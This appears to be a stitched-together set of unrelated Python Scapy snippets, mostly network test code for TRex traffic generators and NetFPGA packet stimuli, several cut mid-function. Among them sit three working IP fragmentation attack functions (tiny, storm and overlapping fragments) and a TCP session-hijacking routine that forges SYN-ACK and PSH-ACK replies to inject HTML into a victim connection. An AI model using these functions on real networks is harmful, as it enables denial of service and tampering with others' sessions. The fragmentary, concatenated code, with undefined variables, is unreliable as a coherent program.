def get_sample_packet(self, pkt_type): if pkt_type == "tcp": return Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / TCP() / ("*" * 1500) elif pkt_type == "gtpu-udp": return (Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / GTPU() / IP() / UDP() / ("*" * 1500)) else: return Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / ("*" * 1500)
def start(self, args: dict) -> None: pkt = Ether(dst=DEST_MAC) / IP() / TCP() / ("*" * 1500) # Create a traffic stream stream = STLStream(packet=STLPktBuilder(pkt=pkt, vm=[]), mode=STLTXCont()) self.client.add_streams(stream, ports=[0]) logging.info( "Starting traffic, duration: %d sec", args.duration, ) # Start sending traffic self.client.start(SENDER_PORT, mult="100%", duration=args.duration) logging.info("Waiting until all traffic stop") self.client.wait_on_traffic(ports=SENDER_PORT) # Get statistics for TX and RX ports stats = self.client.get_stats() rx_rate_mbps = stats[1]["rx_bps"] / (10**6) assert (SHAPING_RATE_MBPS * 0.95 < rx_rate_mbps < SHAPING_RATE_MBPS ), "The measured RX rate is not close to the port shaping rate" readable_stats_0 = get_readable_port_stats(stats[0]) readable_stats_1 = get_readable_port_stats(stats[1]) print("\n Statistics for TX port: \n") print(readable_stats_0) print("\n Statistics for RX port: \n") print(readable_stats_1)
def run_ping_checks_scapy(target, ret, checks, interval, timeout, source, timestamp, group, alert, **kwargs): check_result = { "success": 0, "checks": checks, "rtt": [], "comment": "", "target": target, "check_type": "PING", "source": source, # add minion id "@timestamp": timestamp, "group": group, } # try to resolve target name to IP: try: target_address = socket.gethostbyname(target) except socket.gaierror: check_result[ "comment"] += "ERROR, PING connection check, DNS resolution failed for target - {}".format( target) ret["out"].append(check_result) return # do ICMP checks for i in range(checks): try: packet = Ether() / IP(dst=target_address) / ICMP() ans, unans = srp(packet, filter="icmp", verbose=0, timeout=timeout) if len(ans) != 0: rx = ans[0][1] tx = ans[0][0] check_result["rtt"].append(abs(rx.time - tx.sent_time)) check_result["success"] += 1 elif len(unans) != 0: check_result[ "comment"] += "Check {}, ERROR, no ICMP reply, timeout - {}s, target - {}, address - {}\n".format( i, timeout, target, target_address) except: exc_type, exc_value, exc_traceback = sys.exc_info() check_result[ "comment"] += "Check {}, ERROR: Unhandled scapy error, target - {}, target_address - {}\n\n{}\n".format( i, target, target_address, "".join( traceback.format_exception(exc_type, exc_value, exc_traceback)), ) time.sleep(interval) # add check stats check_result = _calculate_stats(check_result) # sent alert on failure if requested to do so if check_result["success"] == 0 and alert is True: _send_alert(check_type="PING", target=target, data=check_result) # save thread run results ret["out"].append(check_result)
def TinyFragmentAttack(Ip, Interface, PckNmb): for p in fragment(IP(dst=Ip, flags="MF", id=222) / UDP() / Raw(load="abcdefgh" * PckNmb), fragsize=1): send(p, iface=Interface, verbose=0) p.frag += 1 p.flags = 0 send(p, iface=Interface, verbose=0) return 0
def StormFragmentAttack(Ip, Interface, PckNmb): for p in fragment( IP(dst=Ip, flags="MF", id=222) / UDP() / Raw(load="a" * 1472 * PckNmb)): send(p, iface=Interface, verbose=0) p.frag += 185 p.flags = 0 send(p, iface=Interface, verbose=0) return 0
def TinyOverlappingFragmentAttack(Ip, Interface, PckNmb): for p in fragment(IP(dst=Ip, flags="MF", id=222) / UDP(dport=80) / Raw(load="abcdefgh" * PckNmb), fragsize=3): p.frag -= 1 send(p, iface=Interface, verbose=0) p.frag += 1 p.flags = 0 send(p, iface=Interface, verbose=0) return 0
def start(self, args) -> None: pkt = ( Ether(src=SOURCE_MAC, dst=DEST_MAC) / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / ("*" * 1500) ) stream = STLStream(packet=STLPktBuilder(pkt=pkt, vm=[]), mode=STLTXCont()) logging.info("Setting up ports") self.client.add_streams(stream, ports=SENDER_PORTS) pkt_capture_limit = args.duration * 3 logging.info( "Start capturing first %s RX packet from INT collector", pkt_capture_limit ) self.client.set_service_mode(ports=INT_COLLECTPR_PORTS, enabled=True) capture = self.client.start_capture( rx_ports=INT_COLLECTPR_PORTS, limit=pkt_capture_limit, bpf_filter="udp and dst port 32766", ) logging.info( "Starting traffic, duration: %ds, throughput: 100%%", args.duration ) self.client.start(ports=SENDER_PORTS, mult="100%", duration=args.duration) logging.info("Waiting until all traffic stop") self.client.wait_on_traffic(ports=SENDER_PORTS) logging.info("Stop capturing packet from INT collector port") output = "/tmp/congestion-report-{}.pcap".format( datetime.now().strftime("%Y%m%d-%H%M%S") ) self.client.stop_capture(capture["id"], output) analysis_report_pcap(output) list_port_status(self.client.get_stats())
import sys script_dir = os.path.dirname(sys.argv[0]) # Add path *relative to this script's location* of axitools module sys.path.append(os.path.join(script_dir, '..', '..', '..', 'tools', 'scripts')) # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(50): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / ('X' * 1460)) print len(pkt) pkt.time = 300 * (1e-6) # Set source network interface for DMA stream #pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface """ with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f: axitools.axis_dump( pkts, f, 256, 1e-9 ) with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f: axitools.axis_dump( pkts*4, f, 256, 1e-9 ) """ with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump([], f, 256, 1e-9)
from scapy.layers.all import Ether, IP, TCP parser=OptionParser() parser.add_option("-k","--key",dest="key",help="Encryption key") (options,args)=parser.parse_args() key=int(options.key,16) pkts=[] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(1): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc')/ IP(src='192.168.1.1', dst='192.168.1.2')/ # TCP()/ #TCP is not used in this design 'Hello, NetFPGA-10G!') pkt.time = 2e-6+i*(1e-8) #give enough time for register configuration # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered pkts.append(pkt) save_payload=pkts[0].payload.payload # PCI interface with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f: axitools.axis_dump( pkts, f, 256, 1e-9 ) with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f: for i in range(1): for pkt in pkts: pkt.payload.payload=save_payload
pkts_arp.append(pkt) else: pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / ARP(psrc=src_ip_addr, pdst=dst_ip_addr) / pad_18) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_arp.append(pkt) pkts_tcp = [] #A simple TCP/IP packet embedded in an Ethernet II frame for i in range(int(no_pkt)): if (args.align == '1'): if (args.vlan): pkt = (align_byte / Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_tcp.append(pkt) else: pkt = (align_byte / Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_tcp.append(pkt) else: if (args.vlan): pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) /
def start(self, args: dict) -> None: # create packets pkt1 = Ether(dst=DEST_MAC) / IP(src="16.0.0.1", dst="48.0.0.1") / UDP( dport=12, sport=1025) / ("*" * 1500) pkt2 = Ether(dst=DEST_MAC) / IP(src="16.0.0.2", dst="48.0.0.2") / UDP( dport=12, sport=1025) / ("*" * 1500) pkt3 = Ether(dst=DEST_MAC) / IP(src="16.0.0.3", dst="48.0.0.3") / UDP( dport=12, sport=1025) / ("*" * 1500) #stream list streams = [] # Create a traffic stream # assume s1 is a delay critical stream with QoS s1 = STLStream(packet=STLPktBuilder(pkt=pkt1), mode=STLTXCont(percentage=1), flow_stats=STLFlowLatencyStats(pg_id=1)) # assume s2 is a delay critical stream without QoS s2 = STLStream(packet=STLPktBuilder(pkt=pkt2), mode=STLTXCont(percentage=1), flow_stats=STLFlowLatencyStats(pg_id=2)) # assume s3 is a lower priority stream s3 = STLStream(packet=STLPktBuilder(pkt=pkt3), mode=STLTXCont(percentage=98), flow_stats=STLFlowLatencyStats(pg_id=3)) # prepare ports self.client.reset(ports=[0, 1]) # add sterams streams.append(s1) streams.append(s2) streams.append(s3) self.client.add_streams(streams, ports=[0]) logging.info( "Starting traffic, duration: %d sec", args.duration, ) # Start sending traffic self.client.start(SENDER_PORT, mult="100%", duration=args.duration) pgids = self.client.get_active_pgids() logging.info("Waiting until all traffic stop") self.client.wait_on_traffic(ports=SENDER_PORT) # stats for pg_id 1 and 2 stats = self.client.get_pgid_stats(pgids['latency']) flow_stats_1 = stats['flow_stats'].get(1) flow_stats_2 = stats['flow_stats'].get(2) global_lat_stats = stats['latency'] lat_stats_1 = global_lat_stats.get(1) lat_stats_2 = global_lat_stats.get(2) tx_pkts_1 = flow_stats_1['tx_pkts'].get(0, 0) rx_pkts_1 = flow_stats_1['rx_pkts'].get(1, 0) drops_1 = lat_stats_1['err_cntrs']['dropped'] tx_pkts_2 = flow_stats_2['tx_pkts'].get(0, 0) rx_pkts_2 = flow_stats_2['rx_pkts'].get(1, 0) drops_2 = lat_stats_2['err_cntrs']['dropped'] print( " \n TX and RX flow stats and packets dropped for s1 (i.e., delay critical): " ) print(" tx packets: {0}".format(tx_pkts_1)) print(" tx bytes : {0}".format(tx_pps_1)) print(" rx packets : {0}".format(rx_pkts_1)) print(" drops: {0}".format(drops_1)) print( " \n TX and RX flow stats and packets dropped for s2 (i.e., delay critical): " ) print(" tx packets: {0}".format(tx_pkts_2)) print(" tx bytes : {0}".format(tx_pps_2)) print(" rx packets : {0}".format(rx_pkts_2)) print(" drops: {0}".format(drops_2)) # latency info for s1 lat_1 = lat_stats_1['latency'] avg_1 = lat_1['average'] tot_max_1 = lat_1['total_max'] tot_min_1 = lat_1['total_min'] # latency info for s2 lat_2 = lat_stats_2['latency'] avg_2 = lat_2['average'] tot_max_2 = lat_2['total_max'] tot_min_2 = lat_2['total_min'] print('\n Latency info for s1 (ie., delay critical with QoS):') print(" Maximum latency(usec): {0}".format(tot_max_1)) print(" Minimum latency(usec): {0}".format(tot_min_1)) print(" Average latency(usec): {0}".format(avg_1)) print('\n Latency info for s2 (ie., delay critical without QoS):') print(" Maximum latency(usec): {0}".format(tot_max_2)) print(" Minimum latency(usec): {0}".format(tot_min_2)) print(" Average latency(usec): {0}".format(avg_2)) # max latency difference between delay critcal streams s1 and s2 dc_max_lat_diff = tot_max_2 - tot_max_1 assert ((LATENCY_LP_MAX_USEC - LATENCY_DC_MAX_USEC) <= dc_max_lat_diff), \ "Priority scheduling test failed." # Get statistics for TX and RX ports stats = self.client.get_stats() readable_stats_0 = get_readable_port_stats(stats[0]) readable_stats_1 = get_readable_port_stats(stats[1]) logging.info("Priority scheduling test successfully executed.") print("\n Overall Statistics for TX port: \n") print(readable_stats_0) print("\n Overall Statistics for RX port: \n") print(readable_stats_1)
nftest_expect_dma('nf' + str(port), pkt) print "" nftest_finish() else: no_pkts = 8 pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(no_pkts): g = 1002 # max payload length payload = '' for x in range(g): payload = payload + 'A' pkt = (Ether(src='aa:bb:cc:dd:ee:ff', dst='77:88:99:aa:bb:cc') / IP(src='192.168.0.1', dst='192.168.1.1') / TCP() / payload) pkt.time = i * (1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump(pkts, f, 256, 1e-9) with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f: axitools.axis_dump(pkts * 4, f, 256, 1e-9) # 10g interfaces for i in range(4): # replace source port for pkt in pkts:
def extract_ip_from_gse_data(raw_data, high_reliability=True, tcp_hijack=False, tcp_hijack_ips=[None, None]): ip_packet = None simple_packet = None try: ip_packet = Ipv4Packet.from_bytes(raw_data) except EOFError: # if there's just not enough bytes, we can try adding a small number of padding bytes to see if it makes for a mostly recovered packet # we'll try to recover up to 3x the length of the original packet try: raw_data = raw_data + (3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: counters['non_ip_or_corrupt_gse'] += 1 except ValueError: # we can try and force a typical first two bytes of an IPV4 header to bully GSExtract into making a packet # this runs the risk of invalid IP headers but catches some packets when there are undocument proprietary GSE extensions if not high_reliability: try: raw_data = b"\x45" + raw_data + (3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: try: raw_data = b"\x45\x00" + raw_data[1:] + ( 3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: pass counters['non_ip_or_corrupt_gse'] += 1 except: pass if ip_packet is not None: seconds_time = time.time() dt = datetime.now() simple_packet = (int(seconds_time), dt.microsecond, len(raw_data), len(raw_data), raw_data) # This is a very simple example of TCP hijacking # You would need to pass both a target and destination IP address through to the parent function # This is not implemented in the command-line tool but the modifications should be straightforward if tcp_hijack and (ip_packet.src_ip_addr == tcp_hijack_ips[0] or ip_packet.dst_ip_addr == tcp_hijack_ips[0]) and ( ip_packet.src_ip_addr == tcp_hijack_ips[1] or ip_packet.dst_ip_addr == tcp_hijack_ips[1]): html = "<b>Hijacked TCP Session</b>" p = IP(raw_data) if "TCP" in p: F = p[TCP].flags forgery_ip = IP(src=p[IP].dst, dst=p[IP].src) response = "HTTP/1.1 200 OK\n" response += "Server: MyServer\n" response += "Content-Type: text/html\n" response += "Content-Length: " + str(len(html)) + "\n" response += "Connection: close" response += "\n\n" response += html if F & SYN and not F & ACK: forgery_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=123, ack=p[TCP].seq + 1, flags="AS") forgery = Ether() / forgery_ip / forgery_tcp / response sendp(forgery) elif F & ACK and F & PSH: forgery_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack + 1, ack=p[TCP].seq, flags="PA", options=p[TCP].options) forgery = Ether() / forgery_ip / forgery_tcp / response sendp(forgery) forgery.show() counters['ip_recovered'] += 1 return simple_packet
# import sys sys.path.append('../../../../../../tools/scripts') # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] f0 = open("stream_data_in_0.axi", "w") f1 = open("stream_data_in_1.axi", "w") f2 = open("stream_data_in_2.axi", "w") f3 = open("stream_data_in_3.axi", "w") f4 = open("stream_data_in_4.axi", "w") # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(0, 10): pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='204.204.204.204', dst='221.221.221.221') / TCP(sport=51996, dport=80) / "GET /newyorker.com.abdcldkj") pkt.time = i * (1e-8) pkts.append(pkt) # Write out to console axitools.axis_dump(pkts, f0, 64, 1e-9) axitools.axis_dump(pkts, f1, 64, 1e-9) axitools.axis_dump(pkts, f2, 64, 1e-9) axitools.axis_dump(pkts, f3, 64, 1e-9) axitools.axis_dump(pkts, f4, 64, 1e-9)
nftest_expect_dma('nf' + str(port), pkt) print "" nftest_finish() else: no_pkts = 8 pkts=[] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(no_pkts): g = 10 # min payload length payload = '' for x in range(g): payload = payload + 'A' pkt = (Ether(src='aa:bb:cc:dd:ee:ff', dst='77:88:99:aa:bb:cc')/ IP(src='192.168.0.1', dst='192.168.1.1')/ TCP()/ payload) pkt.time = i*(1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f: axitools.axis_dump( pkts, f, 256, 1e-9 ) with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f: axitools.axis_dump( pkts*4, f, 256, 1e-9 ) # 10g interfaces for i in range(4):
fix_checksum_sum = sum(bytearray(fix_checksum_string)) % 256 str_fix = str(fix_checksum_sum) bcd_fix_checksum = '' if fix_checksum_sum >= 100: bcd_fix_checksum = str_fix[0] + str_fix[1] + str_fix[2] elif fix_checksum_sum < 100 and fix_checksum_sum >= 10: bcd_fix_checksum = '0' + str_fix[0] + str_fix[1] elif fix_checksum_sum < 10: bcd_fix_checksum = '0' + '0' + str_fix[0] bcd_fix_checksum = '10=' + bcd_fix_checksum + '\x01' pkt = (Ether(src=src_mac_addr, dst=dst_mac_addr) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP(sport=ip_sport_no, dport=ip_dport_no, flags="PA", options=[('NOP', None), ('NOP', None), ('Timestamp', (34498433, 3150184448))]) / fix_header_data / fix_body_length_final / fix_Msg_Type / fix_seq_num / fix_sendCom_ID / fix_sending_time_data / fix_Target_ID / fix_ClOrd_ID / fix_order_ID / fix_account / fix_symbol / fix_Ord_Type / fix_order_Qty / fix_order_side / fix_order_price / fix_timeInForce / fix_transactTime / fix_TwseIvacnoFlag / fix_TwseOrdType / fix_TwseExCode / fix_TwseRejStaleOrd / bcd_fix_checksum) pkts_tcp.append(pkt) print i
payload_data = '' if (args.packet_no): no_pkts = args.packet_no else: no_pkts = '2' for i in range(int(pkt_length)): payload_data = payload_data + 'A' pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(int(no_pkts) * 4): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / payload_data) pkt.time = i * (1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump(pkts, f, 256, 1e-9) with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f: axitools.axis_dump(pkts * 4, f, 256, 1e-9) nf_pkts = [] if (args.packet_no): nf_pkts = pkts[0:int(no_pkts)] else:
for port in range(4): DA = "00:ca:fe:00:00:%02x" % port pkt = make_IP_pkt(dst_MAC=DA, src_MAC=SA, dst_IP=DST_IP, src_IP=SRC_IP, TTL=TTL, pkt_len=60) totalPktLengths[port] += len(pkt) nftest_send_dma('nf' + str(port), pkt) nftest_expect_dma('nf' + str(port), pkt) else: #DA = "00:ca:fe:00:00:00" #pkt = make_IP_pkt(dst_MAC=DA, src_MAC=SA, dst_IP=DST_IP, # src_IP=SRC_IP, TTL=TTL, # pkt_len=80,) pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='255.255.255.255', dst='5.6.7.8') / TCP(sport=51996, dport=51996) / ("TOI DI CHOI GAME FIFA")) pkt.time = (i * (1e-8)) pkts.append(pkt) if not isHW(): nftest_send_phy('nf0', pkts) nftest_expect_dma('nf0', pkts) print "" mres = [] nftest_finish(mres)